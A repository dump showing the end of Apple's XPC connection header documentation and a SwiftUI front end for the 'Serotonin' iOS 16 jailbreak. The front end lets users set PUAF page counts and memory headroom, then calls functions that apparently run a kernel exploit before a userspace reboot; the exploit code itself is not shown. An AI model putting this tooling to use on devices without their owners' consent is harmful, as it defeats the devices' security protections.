@param handler\n * The event handler block.\n *\n * @discussion\n * Setting the event handler is asynchronous and non-preemptive, and therefore\n * this method will not interrupt the execution of an already-running event\n * handler block. If the event handler is executing at the time of this call, it\n * will finish, and then the connection's event handler will be changed before\n * the next invocation of the event handler. The XPC runtime guarantees this\n * non-preemptiveness even for concurrent target queues.\n *\n * Connection event handlers are non-reentrant, so it is safe to call\n * xpc_connection_set_event_handler() from within the event handler block.\n *\n * The event handler's execution should be treated as a barrier to all\n * connection activity. When it is executing, the connection will not attempt to\n * send or receive messages, including reply messages. Thus, it is not safe to\n * call xpc_connection_send_message_with_reply_sync() on the connection from\n * within the event handler.\n *\n * You do not hold a reference on the object received as the event handler's\n * only argument. Regardless of the type of object received, it is safe to call\n * xpc_retain() on the object to obtain a reference to it.\n *\n * A connection may receive different events depending upon whether it is a\n * listener or not. Any connection may receive an error in its event handler.\n * But while normal connections may receive messages in addition to errors,\n * listener connections will receive connections and and not messages.\n *\n * Connections received by listeners are equivalent to those returned by\n * xpc_connection_create() with a non-NULL name argument and a NULL targetq\n * argument with the exception that you do not hold a reference on them.\n * You must set an event handler and activate the connection. If you do not wish\n * to accept the connection, you may simply call xpc_connection_cancel() on it\n * and return. The runtime will dispose of it for you.\n *\n * If there is an error in the connection, this handler will be invoked with the\n * error dictionary as its argument. This dictionary will be one of the well-\n * known XPC_ERROR_* dictionaries.\n *\n * Regardless of the type of event, ownership of the event object is NOT\n * implicitly transferred. Thus, the object will be released and deallocated at\n * some point in the future after the event handler returns. If you wish the\n * event's lifetime to persist, you must retain it with xpc_retain().\n *\n * Connections received through the event handler will be released and\n * deallocated after the connection has gone invalid and delivered that event to\n * its event handler.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL_ALL\nvoid\nxpc_connection_set_event_handler(xpc_connection_t connection,\n\txpc_handler_t handler);\n\n/*!\n * @function xpc_connection_activate\n * Activates the connection. Connections start in an inactive state, so you must\n * call xpc_connection_activate() on a connection before it will send or receive\n * any messages.\n *\n * @param connection\n * The connection object which is to be manipulated.\n *\n * @discussion\n * Calling xpc_connection_activate() on an active connection has no effect.\n * Releasing the last reference on an inactive connection that was created with\n * an xpc_connection_create*() call is undefined.\n *\n * For backward compatibility reasons, xpc_connection_resume() on an inactive\n * and not otherwise suspended xpc connection has the same effect as calling\n * xpc_connection_activate(). For new code, using xpc_connection_activate()\n * is preferred.\n */\n__OSX_AVAILABLE(10.12) __IOS_AVAILABLE(10.0)\n__TVOS_AVAILABLE(10.0) __WATCHOS_AVAILABLE(3.0)\nXPC_EXPORT XPC_NONNULL_ALL\nvoid\nxpc_connection_activate(xpc_connection_t connection);\n\n/*!\n * @function xpc_connection_suspend\n * Suspends the connection so that the event handler block will not fire and\n * that the connection will not attempt to send any messages it has in its\n * queue. All calls to xpc_connection_suspend() must be balanced with calls to\n * xpc_connection_resume() before releasing the last reference to the\n * connection.\n *\n * @param connection\n * The connection object which is to be manipulated.\n *\n * @discussion\n * Suspension is asynchronous and non-preemptive, and therefore this method will\n * not interrupt the execution of an already-running event handler block. If\n * the event handler is executing at the time of this call, it will finish, and\n * then the connection will be suspended before the next scheduled invocation\n * of the event handler. The XPC runtime guarantees this non-preemptiveness even\n * for concurrent target queues.\n *\n * Connection event handlers are non-reentrant, so it is safe to call\n * xpc_connection_suspend() from within the event handler block.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL_ALL\nvoid\nxpc_connection_suspend(xpc_connection_t connection);\n\n/*!\n * @function xpc_connection_resume\n * Resumes the connection.\n *\n * @param connection\n * The connection object which is to be manipulated.\n *\n * @discussion\n * In order for a connection to become live, every call to\n * xpc_connection_suspend() must be balanced with a call to\n * xpc_connection_resume().\n *\n * For backward compatibility reasons, xpc_connection_resume() on an inactive\n * and not otherwise suspended xpc connection has the same effect as calling\n * xpc_connection_activate(). For new code, using xpc_connection_activate()\n * is preferred.\n *\n * Calling xpc_connection_resume() more times than xpc_connection_suspend()\n * has been called is otherwise considered an error.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL_ALL\nvoid\nxpc_connection_resume(xpc_connection_t connection);\n\n/*!\n * @function xpc_connection_send_message\n * Sends a message over the connection to the destination service.\n *\n * @param connection\n * The connection over which the message shall be sent.\n *\n * @param message\n * The message to send. This must be a dictionary object. This dictionary is\n * logically copied by the connection, so it is safe to modify the dictionary\n * after this call.\n *\n * @discussion\n * Messages are delivered in FIFO order. This API is safe to call from multiple\n * GCD queues. There is no indication that a message was delivered successfully.\n * This is because even once the message has been successfully enqueued on the\n * remote end, there are no guarantees about when the runtime will dequeue the\n * message and invoke the other connection's event handler block.\n *\n * If this API is used to send a message that is in reply to another message,\n * there is no guarantee of ordering between the invocations of the connection's\n * event handler and the reply handler for that message, even if they are\n * targeted to the same queue.\n *\n * After extensive study, we have found that clients who are interested in\n * the state of the message on the server end are typically holding open\n * transactions related to that message. And the only reliable way to track the\n * lifetime of that transaction is at the protocol layer. So the server should\n * send a reply message, which upon receiving, will cause the client to close\n * its transaction.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL_ALL\nvoid\nxpc_connection_send_message(xpc_connection_t connection, xpc_object_t message);\n\n/*!\n * @function xpc_connection_send_barrier\n * Issues a barrier against the connection's message-send activity.\n *\n * @param connection\n * The connection against which the barrier is to be issued.\n *\n * @param barrier\n * The barrier block to issue. This barrier prevents concurrent message-send\n * activity on the connection. No messages will be sent while the barrier block\n * is executing.\n *\n * @discussion\n * XPC guarantees that, even if the connection's target queue is a concurrent\n * queue, there are no other messages being sent concurrently while the barrier\n * block is executing. XPC does not guarantee that the receipt of messages\n * (either through the connection's event handler or through reply handlers)\n * will be suspended while the barrier is executing.\n *\n * A barrier is issued relative to the message-send queue. Thus, if you call\n * xpc_connection_send_message() five times and then call\n * xpc_connection_send_barrier(), the barrier will be invoked after the fifth\n * message has been sent and its memory disposed of. You may safely cancel a\n * connection from within a barrier block.\n *\n * If a barrier is issued after sending a message which expects a reply, the\n * behavior is the same as described above. The receipt of a reply message will\n * not influence when the barrier runs.\n *\n * A barrier block can be useful for throttling resource consumption on the\n * connected side of a connection. For example, if your connection sends many\n * large messages, you can use a barrier to limit the number of messages that\n * are inflight at any given time. This can be particularly useful for messages\n * that contain kernel resources (like file descriptors) which have a system-\n * wide limit.\n *\n * If a barrier is issued on a canceled connection, it will be invoked\n * immediately. If a connection has been canceled and still has outstanding\n * barriers, those barriers will be invoked as part of the connection's\n * unwinding process.\n *\n * It is important to note that a barrier block's execution order is not\n * guaranteed with respect to other blocks that have been scheduled on the\n * target queue of the connection. Or said differently,\n * xpc_connection_send_barrier(3) is not equivalent to dispatch_async(3).\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL_ALL\nvoid\nxpc_connection_send_barrier(xpc_connection_t connection,\n\tdispatch_block_t barrier);\n\n/*!\n * @function xpc_connection_send_message_with_reply\n * Sends a message over the connection to the destination service and associates\n * a handler to be invoked when the remote service sends a reply message.\n *\n * @param connection\n * The connection over which the message shall be sent.\n *\n * @param message\n * The message to send. This must be a dictionary object.\n *\n * @param replyq\n * The GCD queue to which the reply handler will be submitted. This may be a\n * concurrent queue.\n *\n * @param handler\n * The handler block to invoke when a reply to the message is received from\n * the connection. If the remote service exits prematurely before the reply was\n * received, the XPC_ERROR_CONNECTION_INTERRUPTED error will be returned.\n * If the connection went invalid before the message could be sent, the\n * XPC_ERROR_CONNECTION_INVALID error will be returned.\n *\n * @discussion\n * If the given GCD queue is a concurrent queue, XPC cannot guarantee that there\n * will not be multiple reply handlers being invoked concurrently. XPC does not\n * guarantee any ordering for the invocation of reply handlers. So if multiple\n * messages are waiting for replies and the connection goes invalid, there is no\n * guarantee that the reply handlers will be invoked in FIFO order. Similarly,\n * XPC does not guarantee that reply handlers will not run concurrently with\n * the connection's event handler in the case that the reply queue and the\n * connection's target queue are the same concurrent queue.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL1 XPC_NONNULL2 XPC_NONNULL4\nvoid\nxpc_connection_send_message_with_reply(xpc_connection_t connection,\n\txpc_object_t message, dispatch_queue_t _Nullable replyq,\n\txpc_handler_t handler);\n\n/*!\n * @function xpc_connection_send_message_with_reply_sync\n * Sends a message over the connection and blocks the caller until a reply is\n * received.\n *\n * @param connection\n * The connection over which the message shall be sent.\n *\n * @param message\n * The message to send. This must be a dictionary object.\n *\n * @result\n * The message that the remote service sent in reply to the original message.\n * If the remote service exits prematurely before the reply was received, the\n * XPC_ERROR_CONNECTION_INTERRUPTED error will be returned. If the connection\n * went invalid before the message could be sent, the\n * XPC_ERROR_CONNECTION_INVALID error will be returned.\n *\n * You are responsible for releasing the returned object.\n *\n * @discussion\n * This API supports priority inversion avoidance, and should be used instead of\n * combining xpc_connection_send_message_with_reply() with a semaphore.\n *\n * Invoking this API from a queue that is a part of the target queue hierarchy\n * results in deadlocks under certain conditions.\n *\n * Be judicious about your use of this API. It can block indefinitely, so if you\n * are using it to implement an API that can be called from the main thread, you\n * may wish to consider allowing the API to take a queue and callback block so\n * that results may be delivered asynchronously if possible.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL_ALL XPC_WARN_RESULT XPC_RETURNS_RETAINED\nxpc_object_t\nxpc_connection_send_message_with_reply_sync(xpc_connection_t connection,\n\txpc_object_t message);\n\n/*!\n * @function xpc_connection_cancel\n * Cancels the connection and ensures that its event handler will not fire\n * again. After this call, any messages that have not yet been sent will be\n * discarded, and the connection will be unwound. If there are messages that are\n * awaiting replies, they will have their reply handlers invoked with the\n * XPC_ERROR_CONNECTION_INVALID error.\n *\n * @param connection\n * The connection object which is to be manipulated.\n *\n * @discussion\n * Cancellation is asynchronous and non-preemptive and therefore this method\n * will not interrupt the execution of an already-running event handler block.\n * If the event handler is executing at the time of this call, it will finish,\n * and then the connection will be canceled, causing a final invocation of the\n * event handler to be scheduled with the XPC_ERROR_CONNECTION_INVALID error.\n * After that invocation, there will be no further invocations of the event\n * handler.\n *\n * The XPC runtime guarantees this non-preemptiveness even for concurrent target\n * queues.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL_ALL\nvoid\nxpc_connection_cancel(xpc_connection_t connection);\n\n/*!\n * @function xpc_connection_get_name\n * Returns the name of the service with which the connections was created.\n *\n * @param connection\n * The connection object which is to be examined.\n *\n * @result\n * The name of the remote service. If you obtained the connection through an\n * invocation of another connection's event handler, NULL is returned.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL_ALL XPC_WARN_RESULT\nconst char * _Nullable\nxpc_connection_get_name(xpc_connection_t connection);\n\n/*!\n * @function xpc_connection_get_euid\n * Returns the EUID of the remote peer.\n *\n * @param connection\n * The connection object which is to be examined.\n *\n * @result\n * The EUID of the remote peer at the time the connection was made.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL_ALL XPC_WARN_RESULT\nuid_t\nxpc_connection_get_euid(xpc_connection_t connection);\n\n/*!\n * @function xpc_connection_get_egid\n * Returns the EGID of the remote peer.\n *\n * @param connection\n * The connection object which is to be examined.\n *\n * @result\n * The EGID of the remote peer at the time the connection was made.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL_ALL XPC_WARN_RESULT\ngid_t\nxpc_connection_get_egid(xpc_connection_t connection);\n\n/*!\n * @function xpc_connection_get_pid\n * Returns the PID of the remote peer.\n *\n * @param connection\n * The connection object which is to be examined.\n *\n * @result\n * The PID of the remote peer.\n *\n * @discussion\n * A given PID is not guaranteed to be unique across an entire boot cycle.\n * Great care should be taken when dealing with this information, as it can go\n * stale after the connection is established. OS X recycles PIDs, and therefore\n * another process could spawn and claim the PID before a message is actually\n * received from the connection.\n *\n * XPC will deliver an error to your event handler if the remote process goes\n * away, but there are no guarantees as to the timing of this notification's\n * delivery either at the kernel layer or at the XPC layer.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL_ALL XPC_WARN_RESULT\npid_t\nxpc_connection_get_pid(xpc_connection_t connection);\n\n/*!\n * @function xpc_connection_get_asid\n * Returns the audit session identifier of the remote peer.\n *\n * @param connection\n * The connection object which is to be examined.\n *\n * @result\n * The audit session ID of the remote peer at the time the connection was made.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL_ALL XPC_WARN_RESULT\nau_asid_t\nxpc_connection_get_asid(xpc_connection_t connection);\n\n/*!\n * @function xpc_connection_set_context\n * Sets context on an connection.\n *\n * @param connection\n * The connection which is to be manipulated.\n *\n * @param context\n * The context to associate with the connection.\n *\n * @discussion\n * If you must manage the memory of the context object, you must set a finalizer\n * to dispose of it. If this method is called on a connection which already has\n * context associated with it, the finalizer will NOT be invoked. The finalizer\n * is only invoked when the connection is being deallocated.\n *\n * It is recommended that, instead of changing the actual context pointer\n * associated with the object, you instead change the state of the context\n * object itself.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL1\nvoid\nxpc_connection_set_context(xpc_connection_t connection,\n\tvoid * _Nullable context);\n\n/*!\n * @function xpc_connection_get_context\n * Returns the context associated with the connection.\n *\n * @param connection\n * The connection which is to be examined.\n *\n * @result\n * The context associated with the connection. NULL if there has been no context\n * associated with the object.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL_ALL XPC_WARN_RESULT\nvoid * _Nullable\nxpc_connection_get_context(xpc_connection_t connection);\n\n/*!\n * @function xpc_connection_set_finalizer_f\n * Sets the finalizer for the given connection.\n *\n * @param connection\n * The connection on which to set the finalizer.\n *\n * @param finalizer\n * The function that will be invoked when the connection's retain count has\n * dropped to zero and is being torn down.\n *\n * @discussion\n * This method disposes of the context value associated with a connection, as\n * set by {@link xpc_connection_set_context}.\n *\n * For many uses of context objects, this API allows for a convenient shorthand\n * for freeing them. For example, for a context object allocated with malloc(3):\n *\n * xpc_connection_set_finalizer_f(object, free);\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL1\nvoid\nxpc_connection_set_finalizer_f(xpc_connection_t connection,\n\txpc_finalizer_t _Nullable finalizer);\n\n/*!\n * @function xpc_connection_set_peer_code_signing_requirement\n * Requires that the connection peer satisfies a code signing requirement.\n *\n * @param connection\n * The connection object which is to be modified.\n *\n * @param requirement\n * The code signing requirement to be satisfied by the peer\n * It is safe to deallocate the requirement string after calling `xpc_connection_set_peer_code_signing_requirement`\n *\n * @result\n * 0 on success, non-zero on error\n *\n * @discussion\n * This function will return an error promptly if the code signing requirement string is invalid.\n *\n * It is a programming error to call `xpc_connection_set_peer_code_signing_requirement` more than once per connection.\n *\n * All messages received on this connection will be checked to ensure they come from a peer who satisfies\n * the code signing requirement. For a listener connection, requests that do not satisfy the requirement\n * are dropped. When a reply is expected on the connection and the peer does not satisfy the requirement\n * XPC_ERROR_PEER_CODE_SIGNING_REQUIREMENT will be delivered instead of the reply.\n *\n * This API is not supported on embedded platforms and will return ENOTSUP. \n *\n * @see https://developer.apple.com/documentation/technotes/tn3127-inside-code-signing-requirements\n */\n__API_AVAILABLE(macos(12.0))\nXPC_EXPORT XPC_NONNULL_ALL XPC_WARN_RESULT\nint\nxpc_connection_set_peer_code_signing_requirement(xpc_connection_t connection, const char *requirement);\n\n\n__END_DECLS\nXPC_ASSUME_NONNULL_END\n\n#endif // __XPC_CONNECTION_H__\n"
  },
  {
    "path": "usprebooter/TheCoolerContentView.swift",
    "content": "// bomberfish\n// ContentView.swift – AppLogDemo\n// created on 2023-12-26\n\n//import FluidGradient\nimport SwiftUI\n//import SwiftUIBackports\n//\n\nlet fancyAnimation: SwiftUI.Animation = .snappy(duration: 0.35, extraBounce: 0.085) // smoooooth operaaatooor\n\n/// An actually good UI, courtesy of ya boi BomberFish.\nstruct CoolerContentView: View {\n    @Binding var useNewUI: Bool\n    var pipe = Pipe()\n//    @Binding var triggerRespring: Bool // dont use this when porting this ui to your jailbreak (unless you respring in the same way)\n    @State var logItems: [String] = []\n    @State var progress: Double = 0.0\n    @State var isRunning = false\n    @State var finished = false\n    @State var settingsOpen = false\n    @State var color: Color = .init(\"accent\", bundle: Bundle.main)\n    @AppStorage(\"accent\") var accentColor: String = \"\"\n    @AppStorage(\"swag\") var swag = true\n    @State var showingGradient = false\n    @State var blurScreen = false\n    @AppStorage(\"cr\") var customReboot = true\n    @AppStorage(\"verbose\") var verboseBoot = false\n    @AppStorage(\"unthreded\") var untether = true\n    @AppStorage(\"hide\") var hide = false\n    @AppStorage(\"loadd\") var loadLaunch = false\n    @AppStorage(\"showStdout\") var showStdout = true\n    @State var reinstall = false\n    @State var resetfs = false\n    \n    @State var shouldShowLog = true\n\n    @AppStorage(\"headroom\") var staticHeadroomMB: Double = 384.0\n    @AppStorage(\"pages\") var pUaFPages: Double = 3072.0\n\n    public func openConsolePipe() {\n        setvbuf(stdout, nil, _IONBF, 0)\n        dup2(pipe.fileHandleForWriting.fileDescriptor,\n             STDOUT_FILENO)\n        // listening on the readabilityHandler\n        pipe.fileHandleForReading.readabilityHandler = { handle in\n            let data = handle.availableData\n            let str = String(data: data, encoding: .ascii) ?? \"[i] <Non-ascii data of size\\(data.count)>\\n\"\n            DispatchQueue.main.async {\n                withAnimation(fancyAnimation) {\n                    logItems.append(str)\n                }\n            }\n        }\n    }\n\n    @ViewBuilder\n    var settings: some View {\n        NavigationView {\n            ScrollView {\n                VStack(alignment: .leading) {\n                    VStack(alignment: .leading) {\n                        NavigationLink(destination: CreditsView(), label: {\n                            HStack {\n                                Group {\n                                    Label(\"Credits\", systemImage: \"heart\")\n                                        .foregroundColor(.primary)\n                                    Spacer()\n                                    Image(systemName: \"chevron.right\")\n                                        .foregroundColor(.secondary)\n                                }.padding(15)\n                            }\n                            .background(.regularMaterial)\n                        })\n                    }\n                    .clipShape(RoundedRectangle(cornerRadius: 14))\n                    Divider()\n                        .padding(.vertical, 8)\n                    Label(\"Jailbreak\", systemImage: \"lock.open\")\n                        .padding(.leading, 17.5)\n                        .font(.caption)\n                        .foregroundColor(.secondary)\n                    VStack(alignment: .leading) {\n                        VStack(alignment: .leading) {\n                            HStack {\n                                Label(\"PUAF Pages\", systemImage: \"doc\")\n                                Spacer()\n                                Picker(\"PUAF Pages\", systemImage: \"doc\", selection: $pUaFPages) {\n                                    Text(\"16\").tag(16.0)\n                                    Text(\"32\").tag(32.0)\n                                    Text(\"64\").tag(64.0)\n                                    Text(\"128\").tag(128.0)\n                                    Text(\"256\").tag(256.0)\n                                    Text(\"512\").tag(512.0)\n                                    Text(\"1024\").tag(1024.0)\n                                    Text(\"2048\").tag(2048.0)\n                                    Text(\"3072\").tag(3072.0)\n                                    Text(\"4096\").tag(4096.0)\n                                    Text(\"65536\").tag(65536.0)\n                                }\n                                .labelsHidden()\n                            }\n                            let memSizeMB = getPhysicalMemorySize() / 1048576\n                            HStack {\n                                Label(\"Static Headroom\", systemImage: \"memorychip\")\n                                Spacer()\n                                Slider(value: $staticHeadroomMB, in: 0...Double(memSizeMB), step: 128.0, label: {})\n                                Text(\"\\(Int(staticHeadroomMB)) MB\")\n                                    .font(.caption.monospacedDigit())\n                            }\n//                            Group {\n//                                Toggle(\"Custom Reboot Logo\", systemImage: \"applelogo\", isOn: $customReboot) // soon\n//                                Toggle(\"Load Launch Daemons\", systemImage: \"restart.circle\", isOn: $loadLaunch)\n//                            }\n//                            .disabled(true)\n                            Toggle(\"Verbose Boot\", systemImage: \"ladybug\", isOn: $verboseBoot)\n                                .onChange(of: verboseBoot) {_ in\n                                    if verboseBoot {\n                                        if !(FileManager.default.createFile(atPath: \"/var/mobile/.serotonin_verbose\", contents: nil)) {\n                                            verboseBoot = false\n                                        }\n                                    } else {\n                                        do {\n                                            try FileManager.default.removeItem(atPath: \"/var/mobile/.serotonin_verbose\")\n                                        } catch {\n                                            verboseBoot = true\n                                        }\n                                    }\n                                }\n//                            Group {\n//                                Toggle(\"Enable untether\", systemImage: \"slash.circle\", isOn: $untether)\n//                                Toggle(\"Hide environment\", systemImage: \"eye.slash\", isOn: $hide)\n//                            }\n//                            .disabled(true)\n                            Toggle(\"Show output (recommended)\", systemImage: \"terminal\", isOn: $showStdout)\n                        }\n                        .toggleStyle(SwitchToggleStyle())\n                        .padding(15)\n                        .background(.regularMaterial)\n                    }\n                    .clipShape(RoundedRectangle(cornerRadius: 14))\n                    .disabled(isRunning || finished)\n                    Divider()\n                        .padding(.vertical, 8)\n                    Label(\"Appearance\", systemImage: \"paintpalette\")\n                        .padding(.leading, 17.5)\n                        .font(.caption)\n                        .foregroundColor(.secondary)\n                    VStack(alignment: .leading) {\n                        VStack(alignment: .leading) {\n                            HStack {\n                                Label(\"Accent Color\", systemImage: \"paintpalette\")\n                                Spacer()\n                                ColorPicker(\"Accent Color\", selection: $color)\n                                    .onChange(of: color) {_ in\n                                        accentColor = updateCardColorInAppStorage(color: color)\n                                    }\n                                    .labelsHidden()\n                                Button(\"\", systemImage: \"arrow.counterclockwise\") {\n                                    withAnimation(fancyAnimation) {\n                                        color = .accentColor\n                                        accentColor = updateCardColorInAppStorage(color: .init(\"accent\", bundle: Bundle.main))\n                                    }\n                                }\n                                .tint(color)\n                                .foregroundColor(color)\n                            }\n                            Toggle(\"Swag Mode\", systemImage: \"flame\", isOn: $swag)\n                        }\n                        .padding(15)\n\n                        .background(.regularMaterial)\n                    }\n                    .clipShape(RoundedRectangle(cornerRadius: 14))\n                    Label(\"Disable Swag Mode if the app seems sluggish.\", systemImage: \"info.circle\")\n                        .padding(.leading, 17.5)\n                        .font(.caption)\n                        .foregroundColor(.secondary)\n                }\n                .padding(20)\n            }\n            .navigationTitle(\"Settings\")\n            .navigationBarTitleDisplayMode(.inline)\n            .toolbar {\n                ToolbarItem(placement: .topBarTrailing) {\n                    Button(\"\", systemImage: \"xmark\") {\n                        settingsOpen = false\n                        withAnimation(fancyAnimation) {\n                            blurScreen = false\n                        }\n                    }\n                    .font(.system(size: 15))\n                    .tint(Color(UIColor.label))\n                }\n            }\n        }\n    }\n\n    @ViewBuilder\n    var sheet: some View {\n        if #available(iOS 16.0, *) {\n            if #available(iOS 16.4, *) {\n                settings\n                    .presentationDetents([.medium, .large])\n                    .presentationBackground(.regularMaterial)\n            } else {\n                settings\n                    .presentationDetents([.medium, .large])\n                    .background(.regularMaterial)\n            }\n        } else {\n            settings\n                .background(.regularMaterial)\n//                .backport.presentationDetents([.medium, .large])\n        }\n    }\n\n    @ViewBuilder\n    var body: some View {\n        GeometryReader { geo in\n            NavigationView {\n                ZStack {\n                    Color.black\n                        .ignoresSafeArea(.all)\n                    if showingGradient {\n                        FluidGradient(blobs: [color, color, color, color, color, color, color, color, color], speed: 0.35, blur: 0.7) // swag alert #420blazeit\n                            .ignoresSafeArea(.all)\n                    }\n                    Rectangle()\n                        .fill(.clear)\n                        .background(.black.opacity(0.8))\n                        .ignoresSafeArea(.all)\n                    VStack(spacing: 15) {\n                        VStack(alignment: .leading) {\n                            Text(\"Serotonin\") // apex?????\n                                .multilineTextAlignment(.leading)\n                                .font(.system(.largeTitle, design: .rounded).weight(.bold))\n                            Text(\"(Not/Semi-)jailbreak for iOS 16.2-16.6.1\")\n                        }\n                        .padding(.top, geo.size.height / 50)\n                        .padding(.leading, 5)\n                        .frame(maxWidth: .infinity, alignment: .topLeading)\n                        Spacer()\n                        if !isRunning && !finished {\n                            ZStack {\n                                Rectangle()\n                                    .fill(.clear)\n                                    .blur(radius: 16)\n                                    .background(Color(UIColor.secondarySystemGroupedBackground).opacity(0.5))\n                                VStack {\n                                    Toggle(\"Reinstall bootstrap\", isOn: $reinstall)\n                                        .disabled(true)\n                                        .onChange(of: reinstall) { _ in\n                                            if reinstall {\n                                                withAnimation(fancyAnimation) {\n                                                    resetfs = false\n                                                }\n                                            }\n                                        }\n                                    Divider()\n                                    Toggle(\"Restore system\", isOn: $resetfs)\n                                        .disabled(true)\n                                        .onChange(of: resetfs) { _ in\n                                            if resetfs {\n                                                withAnimation(fancyAnimation) {\n                                                    reinstall = false\n                                                }\n                                            }\n                                        }\n                                    Divider()\n                                    Button(\"More Settings\", systemImage: \"gear\") {\n                                        UIImpactFeedbackGenerator(style: .medium).impactOccurred(intensity: 200)\n                                        settingsOpen.toggle()\n                                        withAnimation(fancyAnimation) {\n                                            blurScreen = true\n                                        }\n                                    }\n                                    .padding(.top, 5)\n                                }\n                                .padding()\n                            }\n                            .clipShape(RoundedRectangle(cornerRadius: 14))\n                            .frame(width: geo.size.width / 1.5, height: geo.size.height / 6.5)\n                            .padding(.vertical)\n                        }\n\n                        ZStack {\n                            Rectangle()\n                                .fill(.clear)\n                                .blur(radius: 16)\n                                .background(Color(UIColor.secondarySystemGroupedBackground).opacity(0.5))\n                            ScrollView {\n                                LazyVStack(alignment: .leading) {\n                                    ScrollViewReader { value in\n                                        ForEach(logItems, id: \\.self) { log in // caveat: no two log messages can be the same. can be solved by custom struct with a uuid, but i cba to do that rn\n                                            Text(log)\n                                                .id(log)\n                                                .multilineTextAlignment(.leading)\n                                                .frame(width: geo.size.width - 50, alignment: .leading)\n                                        }\n                                        .font(.system(.body, design: .monospaced))\n                                        .multilineTextAlignment(.leading)\n                                        .onChange(of: logItems.count) { new in\n                                            value.scrollTo(logItems[new - 1])\n                                        }\n                                    }\n                                }\n                                .padding(.bottom, 15)\n                                .padding()\n                            }\n                        }\n                        .frame(height: logItems.isEmpty ? 0 : geo.size.height / 2.5, alignment: .leading)\n                        //                    .background(.ultraThinMaterial)\n\n                        .clipShape(RoundedRectangle(cornerRadius: 14))\n                        .onChange(of: progress) { p in\n                            if p == 1.0 {\n                                DispatchQueue.main.asyncAfter(deadline: .now() + 0.75) {\n                                    withAnimation(fancyAnimation) {\n                                        isRunning = false\n                                        finished = true\n                                    }\n                                }\n                            }\n                        }\n\n                        HStack {\n                            if isRunning {\n                                ProgressView(value: progress)\n                                    .tint(progress == 1.0 ? .green : color)\n                                Text(progress == 1.0 ? \"Complete\" : \"\\(Int(progress * 100))%\")\n                                    .font(.caption)\n                            }\n                        }\n                        .padding(.top, 10)\n\n                        Button(action: {\n                            withAnimation(fancyAnimation) {\n                                shouldShowLog = true\n                            }\n                            UIImpactFeedbackGenerator(style: .soft).impactOccurred(intensity: 200)\n                            if finished {\n//                                triggerRespring = true // change this when porting this ui to your jailbreak\n                                userspaceReboot()\n                            } else {\n                                withAnimation(fancyAnimation) {\n                                    isRunning = true\n                                    shouldShowLog = true\n                                }\n//                                funnyThing(true) { prog, log in\n//                                    withAnimation(fancyAnimation) {\n//                                        progress = prog\n//                                        logItems.append(log)\n//                                    }\n//                                }\n                                \n                                withAnimation(fancyAnimation) {\n                                    logItems.append(\"[i] \\(UIDevice.current.localizedModel), iOS \\(UIDevice.current.systemVersion)\")\n                                }\n\n                                    DispatchQueue.main.asyncAfter(deadline: .now() + 0.75) {\n//                                        logItems.append(\"[*] Doing kopen\")\n                                        setProgress(0.1)\n                                        do_kopen(UInt64(pUaFPages), 2, 1, 1, Int(staticHeadroomMB), true)\n                                        setProgress(0.25)\n//                                        logItems.append(\"[*] Exploit fixup\")\n                                        setProgress(0.3)\n                                        fix_exploit()\n                                        setProgress(0.5)\n//                                        logItems.append(\"[*] Hammer time.\")\n                                        setProgress(0.6)\n                                        \n                                        setProgress(0.75)\n//                                        logItems.append(\"[*] All done, kclosing\")\n                                        go()\n                                        setProgress(0.9)\n                                        do_kclose()\n                                    }\n                                \n                                DispatchQueue.main.asyncAfter(deadline: .now() + 0.75) {\n                                    logItems.append(\"[√] All done!\")\n                                    setProgress(1.0)\n                                }\n                                \n                            }\n                        }, label: {\n                            if isRunning {\n                                HStack(spacing: 10) {\n                                    ProgressView()\n                                        .tint(Color(UIColor.secondaryLabel))\n                                        .controlSize(.regular)\n                                    Text(\"Jelbreking\")\n                                }\n                                .frame(width: geo.size.width / 2.5)\n                            } else if finished {\n                                Label(\"Userspace Reboot\", systemImage: \"arrow.clockwise\")\n                                    .frame(width: geo.size.width / 1.75)\n                            } else {\n                                Label(\"Jelbrek\", systemImage: \"lock.open\")\n                                    .frame(width: geo.size.width / 1.75)\n                            }\n                        })\n                        .disabled(isRunning)\n                        .buttonStyle(.bordered)\n                        .tint(finished ? .green : color)\n                        .controlSize(.large)\n                        .padding(.vertical, 0.1)\n                        if !isRunning && !finished {\n                            Button(\"Switch to old UI\", systemImage: \"switch.2\") {\n                                withAnimation(fancyAnimation) {\n                                    useNewUI.toggle()\n                                }\n                            }\n                        }\n                        Spacer()\n                    }\n                    .padding()\n                }\n                .blur(radius: swag && blurScreen ? 3 : 0)\n                .overlay {\n                    if blurScreen {\n                        Color.black.opacity(0.3)\n                            .ignoresSafeArea(.all)\n                    }\n                }\n                .sheet(isPresented: $settingsOpen, onDismiss: {\n                    withAnimation(fancyAnimation) {\n                        blurScreen = false\n                    }\n                }, content: {\n                    sheet\n                })\n            }\n            .tint(color)\n            .navigationViewStyle(.stack)\n        